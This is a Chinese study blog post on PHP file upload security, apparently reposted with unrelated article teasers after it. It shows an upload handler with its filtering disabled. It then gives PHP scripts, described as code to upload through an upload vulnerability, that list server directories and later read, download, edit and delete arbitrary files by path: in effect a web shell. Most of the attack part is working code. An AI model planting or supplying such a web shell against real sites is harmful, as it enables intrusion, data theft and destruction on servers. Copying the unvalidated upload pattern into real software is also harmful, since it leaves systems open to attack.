网络安全--PHP第三天

今天学习文件上传的相关知识

上传的前端页面如下
upload.html

<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>简单文件上传</title><style>body {font-family: Arial, sans-serif;max-width: 600px;margin: 0 auto;padding: 20px;}.upload-container {border: 2px dashed #ccc;padding: 20px;text-align: center;border-radius: 5px;}.upload-btn {background-color: #4CAF50;color: white;padding: 10px 20px;border: none;border-radius: 4px;cursor: pointer;font-size: 16px;margin-top: 15px;}.upload-btn:hover {background-color: #45a049;}.note {font-size: 14px;color: #666;margin-top: 10px;}</style>
</head>
<body>
<h1>文件上传</h1>
<form action="upload.php" method="post" enctype="multipart/form-data"><div class="upload-container"><h3>选择要上传的文件</h3><input type="file" name="file" id="file" required><p class="note">注意:实际文件上传需要服务器端处理脚本</p><button type="submit" class="upload-btn">上传文件</button></div>
</form>
</body>
</html>

配套的php文件如下:

upload.php

 

<?php$name = $_FILES['file']['name'];
$type = $_FILES['file']['type'];
$size = $_FILES['file']['size'];
$temp_name = $_FILES['file']['tmp_name'];
echo $type;$error = $_FILES['file']['error'];$black_ext = array('jpg', 'jpeg', 'gif', 'png');//添加非法文件类型
$fenge =  explode(".", $name);//通过.分割文件形成数组
$exts = end($fenge);//拿到数组最后面的数据//黑名单过滤
//if (in_array($exts, $black_ext)) {//对后缀进行验证
//    echo "非法文件'.$exts'";//失败
//}else{
//    move_uploaded_file($temp_name, './'.$name);//保存在根目录下
//    echo '<script>alert("上传成功");</script>';
//}//白名单过滤
//$allow_type = array('image/jpeg','video/mp4','image/png','image/gif');
//if(!in_array($type,$allow_type)){
//    echo '非法后缀';
//}else{
//    move_uploaded_file($temp_name,'.'.$name);
//    echo '<script>alert</script>';
//}?>

两个过滤模式

黑名单过滤

白名单过滤

html调用后可以上传文件


如果遇到上传漏洞 可以使用一下的简单代码拿到数据 例子如下

<?php$dir = $_GET['dir'] ?? './';function show_file($dir) {$d = opendir($dir);while(($file=readdir($d))!==false){if(is_dir($file)){echo '文件夹:'.$file."<br>";}else{echo '文件:'.$file."<br>";}}
}show_file($dir);

上传文件成功和 访问即可 这里修改了dir里面的参数

成功拿到目录信息


优化拿到目录(文件)后的操作

并且添加了删除 下载 修改功能
 

<?php
// 获取操作类型(删除、下载、编辑)
$action = isset($_GET['a']) ? $_GET['a'] : '';
// 获取路径参数,默认当前目录
$path   = isset($_GET['path']) ? $_GET['path'] : './';// 路径处理:去除两端斜杠/反斜杠
$path = rtrim($path, '/\\');//判断是文件还是目录
if (is_file($path)) {$current_dir = dirname($path) . '/';  // 文件所在目录$file = basename($path);             // 文件名
} else {$current_dir = $path . '/';          // 目录路径// 检查目录是否存在if (!is_dir($current_dir)) {die('sorry, the directory does not exist: ' . $current_dir);}
}//拿到路径信息
function getlist($path) {$hd = opendir($path);  // 打开目录句柄$list = ['dir' => [], 'file' => []];  // 初始化分类数组// 遍历目录内容while(($file_name = readdir($hd)) !== false) {// 跳过当前目录(.)和上级目录(..)if($file_name != "." && $file_name != "..") {$file_path = $path . $file_name;  // 完整文件路径// 跳过不存在的文件if(!file_exists($file_path)) continue;$file_type = filetype($file_path);  // 获取文件类型// 按类型分类存储文件信息$list[$file_type][] = array('file_name' => $file_name,               // 文件名'file_path' => $file_path,               // 完整路径'file_size' => is_file($file_path) ? round(filesize($file_path)/1024) : '-',  // 文件大小(KB)'file_time' => date('Y/m/d', filemtime($file_path)),  // 修改日期);}}closedir($hd);  // 关闭目录句柄return $list;
}// 获取当前目录内容列表
$list = getlist($current_dir);//执行对应操作
switch($action) {// 删除文件操作case 'del':if(isset($_GET['path'])) {$fileToDelete = $_GET['path'];// 验证文件存在且是普通文件if(file_exists($fileToDelete) && is_file($fileToDelete)) {// 执行删除if(unlink($fileToDelete)) {// 删除成功后返回父目录header("Location: ?path=" . dirname($fileToDelete));exit;} else {die('删除文件失败,可能是权限不足');}} else {die('文件不存在或不是普通文件');}} else {die('未指定要删除的文件路径');}break;// 文件下载操作case 'down':if (isset($_GET['path'])) {$file = $_GET['path'];// 验证文件存在且是普通文件if (file_exists($file) && is_file($file)) {// 设置下载头信息header('Content-Type: application/octet-stream');  // 二进制流header('Content-Disposition: attachment; filename="' . basename($file) . '"');  // 下载文件名header('Content-Length: ' . filesize($file));     // 文件大小readfile($file);  // 输出文件内容exit;}}break;// 文件编辑操作case 'edit':if (isset($_GET['path'])) {$file = $_GET['path'];// 处理保存操作(POST请求)if ($_SERVER['REQUEST_METHOD'] === 'POST') {$content = $_POST['content'] ?? '';  // 获取编辑内容// 写入文件if (file_put_contents($file, $content) !== false) {// 保存成功返回目录header("Location: ?path=" . dirname($file));exit;} else {die('保存文件失败,可能是权限不足');}}// 显示编辑界面if (file_exists($file) && is_file($file) && is_readable($file)) {$content = htmlspecialchars(file_get_contents($file));  // 读取内容并转义$filename = basename($file);  // 获取纯文件名// 输出编辑界面HTMLecho <<<HTML
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>编辑文件 - {$filename}</title><style>body { font-family: Arial, sans-serif; margin: 20px; }h1 { margin-bottom: 20px; }textarea { width: 100%; height: 400px; font-family: monospace; }.actions { margin-top: 10px; }</style>
</head>
<body><h1>编辑文件: {$filename}</h1><form method="post"><textarea name="content">{$content}</textarea><div class="actions"><button type="submit">保存</button><a href="?path=" . dirname($file) . "">取消</a></div></form>
</body>
</html>
HTML;exit;} else {die('文件不可编辑或不存在');}}break;// 默认情况:显示目录内容default:break;
}
?><!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>设备类型图例</title><style>body {font-family: Arial, sans-serif;margin: 20px;}h1 {text-align: center;margin-bottom: 20px;}table {width: 100%;border-collapse: collapse;margin-top: 20px;}th, td {border: 1px solid #ddd;padding: 8px;text-align: left;}th {background-color: #f2f2f2;text-align: center;}img {vertical-align: middle;}</style>
</head>
<body>
<h1>图例</h1>
<table><thead><tr><th>图形</th><th>名称</th><th>日期</th><th>大小</th><th>路径</th><th>操作</th></tr></thead><tbody><?php foreach ($list['dir'] as $v): ?><tr><td><img src="./img/file.png" width="20" height="20"></td><td><?php echo htmlspecialchars($v['file_name']); ?></td><td><?php echo $v['file_time']; ?></td><td>-</td><td><?php echo htmlspecialchars($v['file_path']); ?></td><td><a href="?path=<?php echo urlencode($v['file_path']); ?>">打开</a></td></tr><?php endforeach; ?><?php foreach ($list['file'] as $v): ?><tr><td></td><td><?php echo htmlspecialchars($v['file_name']); ?></td><td><?php echo $v['file_time']; ?></td><td><?php echo $v['file_size']; ?></td><td><?php echo htmlspecialchars($v['file_path']); ?></td><td><a href="?a=edit&path=<?php echo urlencode($v['file_path']); ?>">编辑</a><a href="?a=down&path=<?php echo urlencode($v['file_path']); ?>">下载</a><a href="?a=del&path=<?php echo urlencode($v['file_path']); ?>" οnclick="return confirm('确定删除吗?')">删除</a></td></tr><?php endforeach; ?></tbody>
</table>
</body>
</html>功能就不一一展示了

功能都可以实现 但是全是安全问题

通过代码 知道了大致的文件上传的过程于一些基本的安全问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/bicheng/82486.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【愚公系列】《生产线数字化设计与仿真》004-颜色分类站仿真(基础概念)

🌟【技术大咖愚公搬代码:全栈专家的成长之路,你关注的宝藏博主在这里!】🌟 📣开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主! 👉 江湖人称"愚公搬代码",用七年如一日的精神深耕技术领域,以"…

基于 uni-app + <movable-view>拖拽实现的标签排序-适用于微信小程序、H5等多端

在实际业务中&#xff0c;我们经常遇到「标签排序」或「菜单调整」的场景。微信小程序原生的 movable-view 为我们提供了一个简单、高效的拖拽能力&#xff0c;结合 Vue3 uni-app 的组合&#xff0c;我们可以实现一个体验良好的标签管理界面。 核心组件&#xff1a;<movab…

一些较好的学习方法

1、网上有一些非常经典的电路&#xff0c;而且有很多视频博主做了详细的讲解。 2、有一部分拆解的UP主&#xff0c;拆解后会还原该器件的原理图&#xff0c;并一步步做讲解。 3、有两本书&#xff0c;数电、模电&#xff0c;这两本书中的内容很多都值得学习。 5、某宝上卖的…

《1.1_4计算机网络的分类|精讲篇|附X-mind思维导图》

网络相关知识 按使用范围分类 公用网 由电信部门或其他提供通信服务的经营部门组建、管理和控制&#xff0c;向全社会提供服务的网络。 专用网 由某个单位或部门组建、仅供本单位或部门内部使用的网络。 按传输介质分类 有线网络 如&#xff1a;双绞线、同轴电缆、光纤…

Git 和 GitHub 学习指南本地 Git 配置、基础命令、GitHub 上传流程、企业开发中 Git 的使用流程、以及如何将代码部署到生产服务器

Windows 上 Git 安装与配置 下载安装&#xff1a;访问 Git 官方网站下载适用于 Windows 的安装程序。运行安装包时会出现许可协议、安装目录、组件选择等界面&#xff08;如下图&#xff09;。在“Select Components”页面建议勾选 Git Bash Here 等选项&#xff0c;以便在资源…

航空航天领域对滚珠丝杆的精度要求有多高?

航空航天领域对滚珠丝杆的精度要求非常高&#xff0c;尤其是飞行器、火箭和卫星等载具的导航和定位系统都需要高精度的滚珠丝杆&#xff0c;以确保高精度的位置控制和稳定的导航性能。那么&#xff0c;航空航天领域对滚珠丝杆的精度要求有多高&#xff1f; 1、定位精度&#xf…

技术篇-2.5.Matlab应用场景及开发工具安装

Matlab 在数学建模和数值分析等领域具有无可替代的地位。它几乎涵盖所有常见数学算法的内置函数库&#xff0c;使得从数据预处理、方程求解到优化算法的实现&#xff0c;无需编写大量底层代码即可快速完成&#xff1b;同时&#xff0c;Matlab 强大的可视化能力&#xff0c;可以…

Vtk概览1

vtk环境搭建 见&#xff08;VTK开发环境配置(Visual Studio C)-详细图文教程-CSDN博客&#xff09; 在学习vtk图形图像进阶的第二章时&#xff0c;通过vs2022建的控制台程序&#xff0c;编写运行示例2.1 发现 不显示图像。 #include <iostream> #include<vtkRenderW…

【数据集】基于ubESTARFM法的100m 地温LST数据集(澳大利亚)

目录 数据概述一、输入数据与处理二、融合算法1. ESTARFM(Enhanced STARFM)2. ubESTARFM(Unbiased ESTARFM)代码实现数据下载参考根据论文《Generating daily 100 m resolution land surface temperature estimates continentally using an unbiased spatiotemporal fusion…

Lucide:一款精美的开源矢量图标库,前端图标新选择

名人说:博观而约取,厚积而薄发。——苏轼《稼说送张琥》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 目录 一、前言:为何选择 Lucide?二、Lucide 是什么?1. 基本介绍2. Lucide vs Feather三、如何在项目中使用 Lucide?1. 安装图标包(以 React 为例)2…

BeanUtil和BeanUtils有什么区别

BeanUtil 和 BeanUtils 是两个常见的工具类&#xff0c;通常用于 Java 开发中处理对象之间的属性复制或转换。它们的功能可能看起来相似&#xff0c;但实际上它们来自不同的库&#xff0c;并且在实现细节和使用方式上存在一些差异。 以下是它们的主要区别&#xff1a; 1. 来源…

【CF】Day66——Edu 168.D + CF 853 (Div. 2).C (树 + 二分 + 贪心 | 组合数学)

D. Maximize the Root 题目&#xff1a; 思路&#xff1a; 树上二分&#xff0c;中下题 我们可以发现如果 x 可以&#xff0c;那么 x - 1 肯定也可以&#xff0c;所以可以直接二分答案 具体的&#xff0c;我们每次二分能增加的值 mid &#xff0c;如果 a[i] < mid&#xf…

生成对抗网络(GANs)中的损失函数公式 判别器最优解D^*(x)的推导

https://www.bilibili.com/video/BV1YyHSekEE2 这张图片展示的是生成对抗网络&#xff08;GANs&#xff09;中的损失函数公式&#xff0c;特别是针对判别器&#xff08;Discriminator&#xff09;和生成器&#xff08;Generator&#xff09;的优化目标。让我们用Markdown格式逐…

分布式爬虫架构设计

随着互联网数据的爆炸式增长&#xff0c;单机爬虫已经难以满足大规模数据采集的需求。分布式爬虫应运而生&#xff0c;它通过多节点协作&#xff0c;实现了数据采集的高效性和容错性。本文将深入探讨分布式爬虫的架构设计&#xff0c;包括常见的架构模式、关键技术组件、完整项…

[java]eclipse中windowbuilder插件在线安装

目录 一、打开eclipse 二、打开插件市场 三、输入windowbuilder&#xff0c;点击install 四、进入安装界面 五、勾选我同意... 重启即可 一、打开eclipse 二、打开插件市场 三、输入windowbuilder&#xff0c;点击install 四、进入安装界面 五、勾选我同意... 重启即可

sass,less是什么?为什么要使用他们?

理解 他们都是css的预处理器,允许开发者通过更高级的语法编写css代码(支持变量,嵌套),然后通过编译成css文件 使用原因 结构清晰,便于扩展提高开发效率,便于后期开发维护

Java设计模式之模板方法模式:从基础到高级的全面解析(最详解)

文章目录 一、模板方法模式基础概念1.1 什么是模板方法模式1.2 模板方法模式的核心结构1.3 模板方法模式中的方法分类1.4 模板方法模式的简单示例二、模板方法模式的深入解析2.1 模板方法模式的核心原理2.2 模板方法模式的优势与适用场景优势分析适用场景2.3 模板方法模式与其他…

【C/C++】如何在一个事件驱动的生产者-消费者模型中使用观察者进行通知与解耦

文章目录 如何在一个事件驱动的生产者-消费者模型中使用观察者进行通知与解耦?1 假设场景设计2 Codes3 流程图4 优劣势5 风险可能 如何在一个事件驱动的生产者-消费者模型中使用观察者进行通知与解耦? 1 假设场景设计 Producer&#xff08;生产者&#xff09;&#xff1a;生…

MVC和MVVM架构的区别

MVC和MVVM都是前端开发中常用的设计模式&#xff0c;都是为了解决前端开发中的复杂性而设计的&#xff0c;而MVVM模式则是一种基于MVC模式的新模式。 MVC(Model-View-Controller)的三个核心部分&#xff1a;模型、视图、控制器相较于MVVM(Model-View-ViewModel)的三个核心部分…

兰亭妙微 | 图标设计公司 | UI设计案例复盘

在「33」「312」新高考模式下&#xff0c;选科决策成为高中生和家长的「头等大事」。兰亭妙微公司受委托优化高考选科决策平台个人诊断报告界面&#xff0c;核心挑战是&#xff1a;如何将复杂的测评数据&#xff08;如学习能力倾向、学科报考机会、职业兴趣等&#xff09;转化为…